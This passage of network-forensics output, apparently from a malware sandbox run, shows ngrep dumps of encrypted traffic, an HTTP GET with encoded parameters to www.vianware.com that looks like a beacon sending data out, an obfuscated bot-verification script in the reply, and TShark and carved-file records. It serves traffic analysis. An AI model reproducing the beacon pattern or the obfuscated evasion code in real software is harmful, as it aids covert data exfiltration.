.;.T.x.......4......$...6.{..h..1.....0....jV.s&......b1P.7.....Zq...S%...G.o.#.....]8#....).F...0.....^.\"\".&Z.;.k..7..\\.}...`....e.U*...Nz.5n.....s.\\W..Iu^...4......%.G.=.:s...5.hY..x#......2K&.1........I...p...F`.E\n#\nT 192.168.122.168:49892 -> 4.213.25.240:443 [AP] #7\n...................t....\n.%i...W .;.T.x.......4......$...6.{..h..1.....0....jV.s&......b1P.7.....Zq...S%...G.o.#.....]8#....).F...0.....^.\"\".&Z.;.k..7..\\.}...`....e.U*...Nz.5n.....s.\\W..Iu^...4......%.G.=.:s...5.hY..x#......2K&.1........I...p...F`.E\n#\nT 192.168.122.168:49892 -> 4.213.25.240:443 [AP] #8\n...................t....\n.%i...W .;.T.x.......4......$...6.{..h..1.....0....jV.s&......b1P.7.....Zq...S%...G.o.#.....]8#....).F...0.....^.\"\".&Z.;.k..7..\\.}...`....e.U*...Nz.5n.....s.\\W..Iu^...4......%.G.=.:s...5.hY..x#......2K&.1........I...p...F`.E\n#\nT 192.168.122.168:49899 -> 4.213.25.240:443 [AP] #9\n....^.........?1P.A..(...,sy...!...h-..X...J;..C..S.[%W'6`.P\\.......c......}.....:\n..<c.v^......Q..\n#\nT 192.168.122.168:49892 -> 4.213.25.240:443 [AP] #10\n...................t....\n.%i...W .;.T.x.......4......$...6.{..h..1.....0....jV.s&......b1P.7.....Zq...S%...G.o.#.....]8#....).F...0.....^.\"\".&Z.;.k..7..\\.}...`....e.U*...Nz.5n.....s.\\W..Iu^...4......%.G.=.:s...5.hY..x#......2K&.1........I...p...F`.E\n#\nT 192.168.122.168:49892 -> 4.213.25.240:443 [AP] #11\n...................t....\n.%i...W .;.T.x.......4......$...6.{..h..1.....0....jV.s&......b1P.7.....Zq...S%...G.o.#.....]8#....).F...0.....^.\"\".&Z.;.k..7..\\.}...`....e.U*...Nz.5n.....s.\\W..Iu^...4......%.G.=.:s...5.hY..x#......2K&.1........I...p...F`.E\n#\nT 192.168.122.168:49899 -> 4.213.25.240:443 [AP] #12\n....^.........?1P.A..(...,sy...!...h-..X...J;..C..S.[%W'6`.P\\.......c......}.....:\n..<c.v^......Q..\n#\nT 192.168.122.168:49892 -> 4.213.25.240:443 [AP] #13\n...................t....\n.%i...W .;.T.x.......4......$...6.{..h..1.....0....jV.s&......b1P.7.....Zq...S%...G.o.#.....]8#....).F...0.....^.\"\".&Z.;.k..7..\\.}...`....e.U*...Nz.5n.....s.\\W..Iu^...4......%.G.=.:s...5.hY..x#......2K&.1........I...p...F`.E\n#\nT 192.168.122.168:49892 -> 4.213.25.240:443 [AP] #14\n...................t....\n.%i...W .;.T.x.......4......$...6.{..h..1.....0....jV.s&......b1P.7.....Zq...S%...G.o.#.....]8#....).F...0.....^.\"\".&Z.;.k..7..\\.}...`....e.U*...Nz.5n.....s.\\W..Iu^...4......%.G.=.:s...5.hY..x#......2K&.1........I...p...F`.E\n#\nT 192.168.122.168:49899 -> 4.213.25.240:443 [AP] #15\n....^.........?1P.A..(...,sy...!...h-..X...J;..C..S.[%W'6`.P\\.......c......}.....:\n..<c.v^......Q..\n#\nT 192.168.122.168:49892 -> 4.213.25.240:443 [AP] #16\n...................t....\n.%i...W .;.T.x.......4......$...6.{..h..1.....0....jV.s&......b1P.7.....Zq...S%...G.o.#.....]8#....).F...0.....^.\"\".&Z.;.k..7..\\.}...`....e.U*...Nz.5n.....s.\\W..Iu^...4......%.G.=.:s...5.hY..x#......2K&.1........I...p...F`.E\n######\nT 192.168.122.168:50146 -> 200.58.112.73:80 [AP] #22\nGET /52s7/?blN=Z2d9laAhfa2&3lP0=BqoylcdClzWROwWVa2pt4s4WAqom+M/TxIKbTIjFH58QL2R/AaUCwR0NqwaRifsz2nV4H2cFuIBXcVDQS8GsgwdFn7W7UZzxw8KAxckI2JnfRu3PdCaqo3tlVtiCr3iCOli/fwA= HTTP/1.1.\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8.\nAccept-Language: en-us.\nHost: www.vianware.com.\nConnection: close.\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E).\n.\"\n0.0,NGrep,##,\"Payload: T 200.58.112.73:80 -> 192.168.122.168:50146 [AP] #24\nHTTP/1.1 200 OK.\nServer: openresty/1.27.1.1.\nDate: Tue, 28 Apr 2026 08:17:09 GMT.\nContent-Length: 12147.\nConnection: close.\nContent-Type: text/html.\nCache-Control: private, no-cache, no-store, must-revalidate, max-age=0.\ncf-edge-cache: no-cache.\n.\n<!DOCTYPE html>\n<html lang=\"\"en\"\">\n<head>\n  <meta charset=\"\"utf8\"\">\n  <meta name=\"\"viewport\"\" content=\"\"width=device-width,initial-scale=1.0\"\">\n  <script>\n      (function(){\n          setTimeout(function(){\n              window.location.reload();\n          }, 5000);\n      }())\n  </script>\n  <link rel=\"\"icon\"\" href=\"\"data:,\"\">\n  <title>One moment, please...</title>\n  <style>\n.spinner {\n    -webkit-animation: spin 1s ease-out;\n    animation: spin 1s ease-out;\n}\n@keyframes spin {\n    0% {\n        -webkit-transform: rotate(0deg);\n        -moz-transform: rotate(0deg);\n        -ms-transform: rotate(0deg);\n        -o-transform: rotate(0deg);\n        transform: rotate(0deg);\n    }\n    100% {\n        -webkit-transform: rotate(360deg);\n        -moz-transform: rotate(360deg);\n        -ms-transform: rotate(360deg);\n        -o-transform: rotate(360deg);\n        transform: rotate(360deg);\n    }\n}\n#outer-container {\n    text-align: center;\n}\n#container {\n        display: inline-block;\n        height: 100px;\n    }\n#text {\n    float: left;\n    height: 100px;\n    line-height: 100px;\n    font-size: 3rem;\n    font-family: \"\"Montserrat\"\", sans-serif;\n    font-optical-sizing: auto;\n    font-weight: 400;\n    font-style: normal;\n    padding: 0 .4em 0 .2em;\n    letter-spacing: 0.06em;\n    color: rgba(38, 122, 72, 0.86);\n}\n@media (min-height: 180px) {\n    #outer-container {\n        margin-top: 0;\n    }\n}\n@media (min-height: 360px) {\n    #outer-container {\n        margin-top: 5%;\n    }\n}\n@media (min-height: 540px) {\n    #outer-container {\n        margin-top: 10%;\n    }\n}\n@media (min-height: 720px) {\n    #outer-container {\n        margin-top: 20%;\n    }\n}\n@media (min-width: 1450px) {\n    .throbber {\n        width: 90px;\n        height: 90px;\n        float: left;\n        padding: 5px 0 5px 5px;\n        opacity: 0.86;\n    }\n    #container {\n        display: inline-block;\n        border: 3px solid rgb(38, 122, 72, 0.86);\n        border-radius: 51px;\n        height: 100px;\n    }\n}\"\n0.0,NGrep,</style>,\"Payload: </head>\n<body>\n  <div id=\"\"outer-container\"\">\n    <div id=\"\"container\"\">\n<div class=\"\"throbber\"\">\n    <svg class=\"\"spinner\"\" width=\"\"90px\"\" height=\"\"90px\"\" viewBox=\"\"0 0 47 47\"\"\n         version=\"\"1.1\"\"\n         xmlns=\"\"http://www.w3.org/2000/svg\"\"\n         xmlns:xlink=\"\"http://www.w3.org/1999/xlink\"\">\n        <title>Loader</title>\n        <defs>\n            <polygon id=\"\"path-1\"\"\n                     points=\"\"0 0.375484146 0 15.7255695 15.7013244 15.7255695 15.7013244 0.375484146 0 0.375484146\"\"></polygon>\n        </defs>\n        <g id=\"\"Page-1\"\" stroke=\"\"none\"\" stroke-width=\"\"1\"\" fill=\"\"none\"\"\n           fill-rule=\"\"evenodd\"\">\n            <g id=\"\"Logo\"\" transform=\"\"translate(-5.000000, -2.000000)\"\">\n                <g id=\"\"Group-2\"\" transform=\"\"translate(5.000000, 2.000000)\"\">\n                    <path d=\"\"M22.6150244,4.52988293 C23.1538049,3.06256585 23.6031707,1.59582195 24.231939,0.158882927 C25.1902805,2.22459024 25.8190488,4.43989512 26.7768171,6.47579756 C29.1417195,7.40376098 31.7164024,7.7929439 34.1116829,8.69110244 C28.9623171,11.2663585 23.7229634,13.7510537 18.4836098,16.176139 C19.7709512,12.2545049 21.2382683,8.4217122 22.6150244,4.52988293 L22.6150244,4.52988293 Z\"\"\n                          id\n##\nT 200.58.112.73:80 -> 192.168.122.168:50146 [AP] #26\n=\"\"Fill-1\"\" fill=\"\"#467C45\"\"></path>\n                    <path d=\"\"M13.7718598,8.94461585 C16.1424939,7.68077439 18.4500793,6.28968902 20.8207134,5.02527439 C18.9240915,10.8412378 16.7747012,16.5614817 14.8465549,22.3774451 C12.7292622,18.3950549 10.895689,14.2544695 8.9044939,10.2090305 C8.27228659,8.85004268 7.5455061,7.55353049 7.00844512,6.16359146 C9.31545732,6.95342073 11.4648476,8.24935976 13.7718598,8.94461585\"\"\n                          id=\"\"Fill-3\"\" fill=\"\"#467C45\"\"></path>\n                    <path d=\"\"M24.2134256,15.0745049 C29.4602305,12.4969561 34.7379866,9.91940732 40.0157427,7.4031878 C39.1565598,9.61276098 38.1747183,11.7300537 37.2232549,13.9086756 C38.4504134,16.2099561 39.9544134,18.388578 41.0898646,20.7511878 C35.4435598,18.9405415 29.8287793,17.0381878 24.2134256,15.0745049\"\"\n                          id=\"\"Fill-5\"\" fill=\"\"#467C45\"\"></path>\n                    <g id=\"\"Group-9\"\"\n                       transform=\"\"translate(0.000000, 11.919659)\"\">\n                        <mask id=\"\"mask-2\"\" fill=\"\"white\"\">\n                            <use xlink:href=\"\"#path-1\"\"></use>\n                        </mask>\n                        <g id=\"\"Clip-8\"\"></g>\n                        <path d=\"\"M8.34869024,0.375484146 C9.93064146,3.33419146 11.2781659,6.43963049 12.7426171,9.45622805 C13.7387878,11.5362646 14.793422,13.5876427 15.7013244,15.7255695 C10.4579585,13.9091915 5.21401951,12.03435 -0.000114634146,10.0718134 C2.05069024,9.1341061 4.21842195,8.4898622 6.29845854,7.61119146 C6.97193415,5.17980122 7.67521463,2.77706951 8.34869024,0.375484146\"\"\n                              id=\"\"Fill-7\"\" fill=\"\"#467C45\"\"\n                              mask=\"\"url(#mask-2)\"\"></path>\n                    </g>\n                    <path d=\"\"M29.1793195,18.0496049 C33.5600634,19.4670561 37.9081366,21.0776659 42.2888805,22.5593122 C43.6742341,23.0745927 45.1558805,23.4609098 46.5085634,24.1372512 C44.2216122,25.039422 41.9025634,25.9100683 39.6477098,26.8110927 C38.8103073,29.4195927 38.2302585,32.1261049 37.3607585,34.7346049 C35.5890878,31.4497634 34.0432463,28.0353854 32.3684415,24.6852024 C31.3052098,22.4945439 30.1456854,20.3044585 29.1793195,18.0496049\"\"\n                          id=\"\"Fill-10\"\" fill=\"\"#467C45\"\"></path>\n                    <path d=\"\"M28.9972232,29.3489207 C29.5789915,27.69475 30.0684793,26.0113476 30.7419549,24.3887012 C31.538089,25.7660305 32.1811866,27.2356402 32.9154183,28.6444939 C34.7220524,32.4709817 36.68115,36.205189 38.4568329,40.0316768 C36.2827963,39.1449817 34.1402841,38.1654329 31.9364427,37.2460671 C29.6403207,38.4709329 27.4662841,39.9405427 25.1094061,41.1035061 C26.3033207,37.1549329 27.7419793,33.2671159 28.9972232,29.3489207\"\"\n                          id=\"\"Fill-12\"\" fill=\"\"#467C45\"\"></path>\n                    <path d=\"\"M4.97133902,25.64555 C9.93385122,27.1873793 14.7737049,29.036428 19.6748878,30.6705378 C20.4148512,30.9170012 21.1542415,31.1944159 21.8328756,31.5337329 C16.5304732,33.9685622 11.3214976,36.6498549 5.95776585,38.99355 C6.82096098,36.8355622 7.89966829,34.7698549 8.7319122,32.581489 C7.68358293,30.1764646 6.11194878,28.01905 4.97133902,25.64555\"\"\n                          id=\"\"Fill-14\"\" fill=\"\"#467C45\"\"></path>\n                    <path d=\"\"M15.4549183,35.8770488 C19.4671134,33.9317073 23.4483573,31.8952317 27.4915037,30.0433171 C26.4110768,33.6542927 25.0222841,37.203939 23.8186256,40.8143415 C23.1090402,42.7275854 22.5530646,44.7033049 21.7511988,46.5855976 C20.7630524,44.4866463 20.0534671,42.2650366 19.1277963,40.1351341 C16.6276256,39.2094634 14.0042232,38.684439 11.4736744,37.9748537 C12.6773329,37.0801341 14.1584061,36.586061 15.4549183,35.8770488\"\"\n                          id=\"\"Fill-16\"\" fill=\"\"#467C45\"\"></path>\n                </g>\n            </g>\n        </g>\n    </svg>\n</div>\n      <div id=\"\"text\"\">\n        Please wait while your request is being verified...\n      </div>\n    </div>\n  </div>\n  <div id=\"\"y7lixqx7d6cd\"\"></div>\n  <script>\n(function(U,s){var a0I={U:0x17e,s:0x16a,m:0x169,P:0x193,D:0x190,L:0x15e},N=a0P,m=U();while(!![]){try{var P=parseInt(N(a0I.U))/0x1+parseInt(N(0x197))/0x2\n#\nT 200.58.112.73:80 -> 192.168.122.168:50146 [AP] #27\n*(parseInt(N(a0I.s))/0x3)+-parseInt(N(a0I.m))/0x4+-parseInt(N(0x181))/0x5*(-parseInt(N(a0I.P))/0x6)+-parseInt(N(a0I.D))/0x7+parseInt(N(0x187))/0x8*(parseInt(N(a0I.L))/0x9)+-parseInt(N(0x17b))/0xa*(parseInt(N(0x176))/0xb);if(P===s)break;else m['push'](m['shift']());}catch(D){m['push'](m['shift']());}}}(a0m,0x53061));function a0m(){var e=['form','d49030b349','document','entries','16qvABon','language','toString','input','ById','getElement','appendChil','__proto__','name','157150JbDCEY','forEach','outerWidth','338682bYblHh','value','type','display:no','46leHAWF','apply','GET','map','2367585WseXOw','submit','prototype','mimeTypes','ne;','addEventLi','search','userAgent','length','open','ent','292288KZCOjp','69855jYcIqh','plugins','1b41b08f12','(((.+)+)+)','0950635027','techange','filter','attachEven','languages','onreadysta','createElem','constructo','11ValPrK','outerHeigh','stener','7fa3b767c4','append','13449790JPkTxE','send','webdriver','662434dJfuia','a6105c0a61','hidden','5NlnwII','Loaded'];a0m=function(){return e;};return a0m();}var a0D=window['navigator'],a0L={'webdriverCheck':function(){var x=a0P;return'webdriver'in window||!!a0D[x(0x17d)];},'userAgentCheck':function(){var a0Q={U:0x165},r=a0P;return/headless|bytespider/i['test'](a0D[r(a0Q.U)]);},'appVersionCheck':function(){return/headless/i['test'](a0D['appVersion']);},'pluginArraySpoofing':function(){var a0c={U:0x16b,s:0x18e,m:0x166},d=a0P;let U=PluginArray[d(0x160)]===a0D[d(a0c.U)][d(a0c.s)];if(a0D[d(a0c.U)][d(a0c.m)]>0x0)U&=Plugin[d(0x160)]===a0D['plugins'][0x0][d(0x18e)];return!U;},'mimeTypeArraySpoofing':function(){var a0X={U:0x160,s:0x18e,m:0x160,P:0x161},Z=a0P;let U=MimeTypeArray[Z(a0X.U)]===a0D['mimeTypes'][Z(a0X.s)];if(a0D[Z(0x161)][Z(0x166)]>0x0)U&=MimeType[Z(a0X.m)]===a0D[Z(a0X.P)][0x0][Z(a0X.s)];return!U;},'noLanguage':function(){var a0G={U:0x172},a=a0P;return!a0D[a(0x188)]||a0D[a(a0G.U)][a(0x166)]===0x0;},'zeroOuterDimensions':function(){var H=a0P;return window[H(0x177)+'t']===0x0&&window[H(0x192)]===0x0;}},a0v=function(m,P){var a0S={U:0x163,s:0x178,m:0x185,P:0x163,D:0x173},a0k={U:0x164,s:0x16d,m:0x189,P:0x175},B=a0P,D=(function(){var v=!![];return function(Y,K){var C=v?function(){var R=a0P;if(K){var h=K[R(0x198)](Y,arguments);return K=null,h;}}:function(){};return v=![],C;};}()),L=D(this,function(){var g=a0P;return L[g(0x189)]()[g(a0k.U)](g(a0k.s)+'+$')[g(a0k.m)]()[g(a0k.P)+'r'](L)[g(0x164)]('(((.+)+)+)'+'+$');});L(),window[B(a0S.U)+B(a0S.s)]?window[B(a0S.m)][B(a0S.P)+B(0x178)]('DOMContent'+B(0x182),m,P):window[B(a0S.m)][B(0x171)+'t'](B(a0S.D)+B(0x16f),m);};function a0P(U,s){var m=a0m();return a0P=function(P,D){P=P-0x15d;var L=m[P];return L;},a0P(U,s);}a0v(function(){var a0p={U:0x18c,s:0x18b,m:0x185,P:0x174,D:0x174,L:0x168,v:0x18a,Y:0x15d,K:0x170,C:0x17a,h:0x16c,o:0x167,y:0x17c,q:0x196,O:0x199,A:0x194,V:0x179,T:0x180,F:0x195,t:0x195,I:0x18d,z:0x15f};setTimeout(function(){var E=a0P,U=window['document'\n##\nT 200.58.112.73:80 -> 192.168.122.168:50146 [AP] #29\n][E(a0p.U)+E(a0p.s)]('y7lixqx7d6cd'),s=+((+!+[]+!![]+!![])+(+!+[]+!![]+!![]+!![]+!![]+!![]+!![]+[])+(+!+[]+!![]+!![]+!![])+(+!+[]+!![]+!![]+!![]+!![]+!![]+!![]+[])+(+!+[]+!![]+!![]+!![]+!![]+!![]+!![]+!![])+(+!+[]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+[])+(+!+[]+!![])),m=window['document'][E(0x174)+'ent'](E(0x183)),P=window[E(a0p.m)][E(a0p.P)+E(0x1\n#\nT 200.58.112.73:80 -> 192.168.122.168:50146 [A] #30\n68)]('input'),D=window[E(0x185)][E(a0p.D)+E(a0p.L)]('input'),L=window['document'][E(0x174)+E(a0p.L)](E(a0p.v)),v=window[E(a0p.m)]['createElem'+E(0x168)]('input'),Y=+((+!+[]+!![]+!![]+!![]+!![]+!![])+(+!+[]+!![]+!![]+[])+(+!+[]+!![]+!![]+!![]+!![]+!![])+(+!+[]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+[])+(+!+[]+!![]+!![]+!![]+!![]+!![]+!![]+!![])+(+!+[]+!![]+!![]+!![]+[])+(+!+[]+!![]+!![]+!![]+!![]+!![])),K='wsidchk',C='pdata',h='http%3A%2F%2Fwww.vianware.com%2F52s7%2F%3FblN%3DZ2d9laAhfa2%263lP0%3DBqoylcdClzWROwWVa2pt4s4WAqom%2BM%2FTxIKbTIjFH58QL2R%2FAaUCwR0NqwaRifsz2nV4H2cFuIBXcVDQS8GsgwdFn7W7UZzxw8KAxckI2JnfRu3PdCaqo3tlVtiCr3iCOli%2FfwA%3D',o='/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f',y='failedChecks',q=Object[E(0x186)](a0L)[E(a0p.Y)](([T,F])=>{try{return F()?T:null;}catch(t){return null;}})[E(a0p.K)](T=>T!==null),O=q[E(0x166)]>0x0;if(O){var A=new URLSearchParams();A[E(a0p.C)]('id',E(0x17f)+E(a0p.h)+E(0x16e)+'9e'),A[E(0x17a)]('ts','1777364229'),A[E(0x17a)](K,s+Y),A[E(0x17a)](C,h),q[E(0x191)](T=>A[E(0x17a)](y,T));var V=new XMLHttpRequest();V[E(a0p.o)]('GET',o+'?'+A[E(0x189)]()),V[E(a0p.y)](null);}else m['id']='y7lixqx7d6cd',m['style']=E(a0p.q)+E(0x162),m['method']=E(a0p.O),m['action']=o,P['id']='uipgmf63ilku',P['name']=K,P[E(0x194)]=s+Y,P[E(0x195)]='hidden',L[E(0x18f)]='id',L[E(a0p.A)]=E(a0p.V)+'60b54a2be4'+E(0x184)+'c7',L[E(0x195)]=E(a0p.T),v['name']='ts',v['value']='1777364229',v[E(a0p.F)]='hidden',D['id']='v3w53kricso8',D[E(0x18f)]=\n#\nT 200.58.112.73:80 -> 192.168.122.168:50146 [AFP] #31\nC,D[E(0x194)]=h,D[E(a0p.t)]='hidden',m[E(0x18d)+'d'](P),m[E(a0p.I)+'d'](D),m[E(0x18d)+'d'](L),m['appendChil'+'d'](v),U['appendChil'+'d'](m),m[E(a0p.z)]();},0x3e8);},![]);\n  </script>\n</body>\n</html>\"\n0.0,NGrep,###exit,Payload: \n0.0,Network Stats,TShark Stat: protocol_hierarchy,Path: /tmp/tmpshtww47t/tshark/stats/tshark_protocol_hierarchy.txt\n0.0,Network Stats,TShark Stat: conversations_tcp,Path: /tmp/tmpshtww47t/tshark/stats/tshark_conversations_tcp.txt\n0.0,Network Stats,TShark Stat: conversations_udp,Path: /tmp/tmpshtww47t/tshark/stats/tshark_conversations_udp.txt\n0.0,Network Stats,TShark Stat: endpoints_ip,Path: /tmp/tmpshtww47t/tshark/stats/tshark_endpoints_ip.txt\n0.0,Network Stats,TShark Stat: http_stats,Path: /tmp/tmpshtww47t/tshark/stats/tshark_http_stats.txt\n0.0,Network Stats,TShark Stat: dns_stats,Path: /tmp/tmpshtww47t/tshark/stats/tshark_dns_stats.txt\n0.0,Network Stats,TShark Stat: expert_info,Path: /tmp/tmpshtww47t/tshark/stats/tshark_expert_info.txt\n0.0,Network Stats,TShark Stat: io_graph,Path: /tmp/tmpshtww47t/tshark/stats/tshark_io_graph.txt\n0.0,Forensics,Object Extracted: fwA=,Path: /tmp/tmpshtww47t/tshark/objects/fwA=\n1777364229.232482,Forensics,File Carved: html,\"Path: /tmp/tmpshtww47t/carved_files/carved_192.168.122.168:50146-200.58.112.73:80_bwd_0.html, Stream: 192.168.122.168:50146-200.58.112.73:80_bwd\"\n","carved_files_analysis.csv":"Timestamp,Stream ID,Source IP,Source Port,Dest IP,Dest Port,Protocol,File Name,File Type,File Path,Size (bytes),MD5,SHA256,Entropy,Strings Preview,Content Preview (Hex)\n2026-04-29T19:32:30.154199,192.168.122.168:50146->200.58.112.73:80,192.168.122.168,50146,200.58.112.73,80,HTTP,carved_192.168.122.168:50146-200.58.112.73:80_bwd_0.html,html,/tmp/tmpshtww47t/carved_files/carved_192.168.122.168:50146-200.58.112.73:80_bwd_0.html,12147,149c5dde8418c347967a4ce6699dfe6c,c70c98b84d3f72c5b5c68433f3168d17f73de7876acb72cc09f5c2abb1611f05,5.59,\"DOCTYPE html>, <html lang, <head>,   <meta charset, utf8,   <meta name, viewport,  content, width, device-width,initial-scale,   <script>,       (function(),           setTimeout(function(),               window.location.reload(),           , , 5000),       ,   </script>,   <link rel, icon,  href, data:,,   <title>One moment, please...</title>,   <style>, .spinner ,     -webkit-animation: spin 1s ease-out,     animation: spin 1s ease-out, keyframes spin ,     0% ,         -webkit-transform: rotate(0deg),         -moz-transform: rotate(0deg),         -ms-transform: rotate(0deg),         -o-transform: rotate(0deg),         transform: rotate(0deg),     ,     100% ,         -webkit-transform: rotate(360deg),         -moz-transform: rotate(360deg),         -ms-transform: rotate(360deg),         -o-transform: rotate(360deg),         transform: rotate(360deg),     , outer-container ,     text-align: center, container ,         display: inline-block,         height: 100px,     , text ,     float: left,     height: 100px,     line-height: 100px,     font-size: 3rem,     font-family: , Montserrat, , sans-serif,     font-optical-sizing: auto,     font-weight: 400,     font-style: normal,     padding: 0 .4em 0 .2em,     letter-spacing: 0.06em,     color: rgba(38, 122, 72, 0.86), media (min-height: 180px) ,     , outer-container ,         margin-top: 0,     , media (min-height: 360px) ,     , outer-container ,         margin-top: 5%,     , media (min-height: 540px) ,     , outer-container ,         margin-top: 10%,     , media (min-height: 720px) ,     , outer-container ,         margin-top: 20%,     , media (min-width: 1450px) ,     .throbber ,         width: 90px,         height: 90px,         float: left,         padding: 5px 0 5px 5px,         opacity: 0.86,     ,     , container ,         display: inline-block,         border: 3px solid rgb(38, 122, 72, 0.86),         border-radius: 51px,         height: 100px,     ,   </style>, </head>, <body>,   <div id, outer-container,     <div id, container, <div class, throbber,     <svg class, spinner,  width, 90px,  height, 90px,  viewBox, 0 0 47 47,          version,          xmlns, http://www.w3.org/2000/svg,          xmlns:xlink, http://www.w3.org/1999/xlink,         <title>Loader</title>,         <defs>,             <polygon id, path-1,                      points, 0 0.375484146 0 15.7255695 15.7013244 15.7255695 15.7013244 0.375484146 0 0.375484146, ></polygon>,         </defs>,         <g id, Page-1,  stroke, none,  stroke-width,  fill, none,            fill-rule, evenodd,             <g id, Logo,  transform, translate(-5.000000, -2.000000),                 <g id, Group-2,  transform, translate(5.000000, 2.000000),                     <path d, M22.6150244,4.52988293 C23.1538049,3.06256585 23.6031707,1.59582195 24.231939,0.158882927 C25.1902805,2.22459024 25.8190488,4.43989512 26.7768171,6.47579756 C29.1417195,7.40376098 31.7164024,7.7929439 34.1116829,8.69110244 C28.9623171,11.2663585 23.7229634,13.7510537 18.4836098,16.176139 C19.7709512,12.2545049 21.2382683,8.4217122 22.6150244,4.52988293 L22.6150244,4.52988293 Z,                           id, Fill-1,  fill, 467C45, ></path>,                     <path d, M13.7718598,8.94461585 C16.1424939,7.68077439 18.4500793,6.28968902 20.8207134,5.02527439 C18.9240915,10.8412378 16.7747012,16.5614817 14.8465549,22.3774451 C12.7292622,18.3950549 10.895689,14.2544695 8.9044939,10.2090305 C8.27228659,8.85004268 7.5455061,7.55353049 7.00844512,6.16359146 C9.31545732,6.95342073 11.4648476,8.24935976 13.7718598,8.94461585,                           id, Fill-3,  fill, 467C45, ></path>,                     <path d, M24.2134256,15.0745049 C29.4602305,12.4969561 34.7379866,9.91940732 40.0157427,7.4031878 C39.1565598,9.61276098 38.1747183,11.7300537 37.2232549,13.9086756 C38.4504134,16.2099561 39.9544134,18.388578 41.0898646,20.7511878 C35.4435598,18.9405415 29.8287793,17.0381878 24.2134256,15.0745049,                           id, Fill-5,  fill, 467C45, ></path>,                     <g id, Group-9,                        transform, translate(0.000000, 11.919659),                         <mask id, mask-2,  fill, white,                             <use xlink:href, path-1, ></use>,                         </mask>,                         <g id, Clip-8, ></g>,                         <path d, M8.34869024,0.375484146 C9.93064146,3.33419146 11.2781659,6.43963049 12.7426171,9.45622805 C13.7387878,11.5362646 14.793422,13.5876427 15.7013244,15.7255695 C10.4579585,13.9091915 5.21401951,12.03435 -0.000114634146,10.0718134 C2.05069024,9.1341061 4.21842195,8.4898622 6.29845854,7.61119146 C6.97193415,5.17980122 7.67521463,2.77706951 8.34869024,0.375484146,                               id, Fill-7,  fill, 467C45,                               mask, url(, mask-2), ></path>,                     </g>,                     <path d, M29.1793195,18.0496049 C33.5600634,19.4670561 37.9081366,21.0776659 42.2888805,22.5593122 C43.6742341,23.0745927 45.1558805,23.4609098 46.5085634,24.1372512 C44.2216122,25.039422 41.9025634,25.9100683 39.6477098,26.8110927 C38.8103073,29.4195927 38.2302585,32.1261049 37.3607585,34.7346049 C35.5890878,31.4497634 34.0432463,28.0353854 32.3684415,24.6852024 C31.3052098,22.4945439 30.1456854,20.3044585 29.1793195,18.0496049,                           id, Fill-10,  fill, 467C45, ></path>,                     <path d, M28.9972232,29.3489207 C29.5789915,27.69475 30.0684793,26.0113476 30.7419549,24.3887012 C31.538089,25.7660305 32.1811866,27.2356402 32.9154183,28.6444939 C34.7220524,32.4709817 36.68115,36.205189 38.4568329,40.0316768 C36.2827963,39.1449817 34.1402841,38.1654329 31.9364427,37.2460671 C29.6403207,38.4709329 27.4662841,39.9405427 25.1094061,41.1035061 C26.3033207,37.1549329 27.7419793,33.2671159 28.9972232,29.3489207,                           id, Fill-12,  fill, 467C45, ></path>,                     <path d, M4.97133902,25.64555 C9.93385122,27.1873793 14.7737049,29.036428 19.6748878,30.6705378 C20.4148512,30.9170012 21.1542415,31.1944159 21.8328756,31.5337329 C16.5304732,33.9685622 11.3214976,36.6498549 5.95776585,38.99355 C6.82096098,36.8355622 7.89966829,34.7698549 8.7319122,32.581489 C7.68358293,30.1764646 6.11194878,28.01905 4.97133902,25.64555,                           id, Fill-14,  fill, 467C45, ></path>,                     <path d, M15.4549183,35.8770488 C19.4671134,33.9317073 23.4483573,31.8952317 27.4915037,30.0433171 C26.4110768,33.6542927 25.0222841,37.203939 23.8186256,40.8143415 C23.1090402,42.7275854 22.5530646,44.7033049 21.7511988,46.5855976 C20.7630524,44.4866463 20.0534671,42.2650366 19.1277963,40.1351341 C16.6276256,39.2094634 14.0042232,38.684439 11.4736744,37.9748537 C12.6773329,37.0801341 14.1584061,36.586061 15.4549183,35.8770488,                           id, Fill-16,  fill, 467C45, ></path>,                 </g>,             </g>,         </g>,     </svg>, </div>,       <div id, text,         Please wait while your request is being verified...,       </div>,     </div>,   </div>,   <div id, y7lixqx7d6cd, ></div>,   <script>, (function(U,s), var a0I, U:0x17e,s:0x16a,m:0x169,P:0x193,D:0x190,L:0x15e, a0P,m, while(, var P, parseInt(N(a0I.U))/0x1, parseInt(N(0x197))/0x2, (parseInt(N(a0I.s))/0x3), -parseInt(N(a0I.m))/0x4, -parseInt(N(0x181))/0x5, (-parseInt(N(a0I.P))/0x6), -parseInt(N(a0I.D))/0x7, parseInt(N(0x187))/0x8, (parseInt(N(a0I.L))/0x9), -parseInt(N(0x17b))/0xa, (parseInt(N(0x176))/0xb), if(P, s)break, else m['push'](m['shift']()), catch(D), m['push'](m['shift']()), (a0m,0x53061)), function a0m(), var e, ['form','d49030b349','document','entries','16qvABon','language','toString','input','ById','getElement','appendChil','__proto__','name','157150JbDCEY','forEach','outerWidth','338682bYblHh','value','type','display:no','46leHAWF','apply','GET','map','2367585WseXOw','submit','prototype','mimeTypes','ne, ','addEventLi','search','userAgent','length','open','ent','292288KZCOjp','69855jYcIqh','plugins','1b41b08f12','(((., )','0950635027','techange','filter','attachEven','languages','onreadysta','createElem','constructo','11ValPrK','outerHeigh','stener','7fa3b767c4','append','13449790JPkTxE','send','webdriver','662434dJfuia','a6105c0a61','hidden','5NlnwII','Loaded'], function(), return e, return a0m(), var a0D, window['navigator'],a0L, 'webdriverCheck':function(), var x, return'webdriver'in window, a0D[x(0x17d)], ,'userAgentCheck':function(), var a0Q, U:0x165, return/headless, bytespider/i['test'](a0D[r(a0Q.U)]), ,'appVersionCheck':function(), return/headless/i['test'](a0D['appVersion']), ,'pluginArraySpoofing':function(), var a0c, U:0x16b,s:0x18e,m:0x166, let U, PluginArray[d(0x160)], a0D[d(a0c.U)][d(a0c.s)], if(a0D[d(a0c.U)][d(a0c.m)]>0x0)U, Plugin[d(0x160)], a0D['plugins'][0x0][d(0x18e)], return, ,'mimeTypeArraySpoofing':function(), var a0X, U:0x160,s:0x18e,m:0x160,P:0x161, let U, MimeTypeArray[Z(a0X.U)], 